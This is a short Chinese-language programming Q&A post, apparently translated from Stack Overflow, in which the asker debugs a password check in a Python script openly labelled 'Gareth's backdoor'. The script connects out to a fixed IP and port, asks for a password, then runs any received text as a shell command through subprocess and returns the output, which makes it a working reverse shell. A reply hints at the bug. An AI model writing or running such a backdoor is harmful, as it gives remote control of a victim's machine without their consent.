0
由於某些原因,它不會進入我的if語句。即使我的if語句爲真,Python也執行我的else
當我通過netcat連接並輸入密碼時,即使輸入了正確的密碼,也會跳到else語句。
#i/usr/bin/python
import subprocess,socket
HOST = '192.168.1.104'
PORT = 25565
passwd = "gareth"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('Connection established\n')
s.send("Enter Password: ")
pw = s.recv(1023)
if pw == passwd:
s.send("Gareth's backdoor\n")
else:
s.send("Wrong password\n")
s.close()
while 1:
data = s.recv(1023)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
# exit the loop
s.send('Bye now.')
s.close()
爲什麼不打印它認爲pw在你的其他語句中的內容?我懷疑它不是你的想法...... –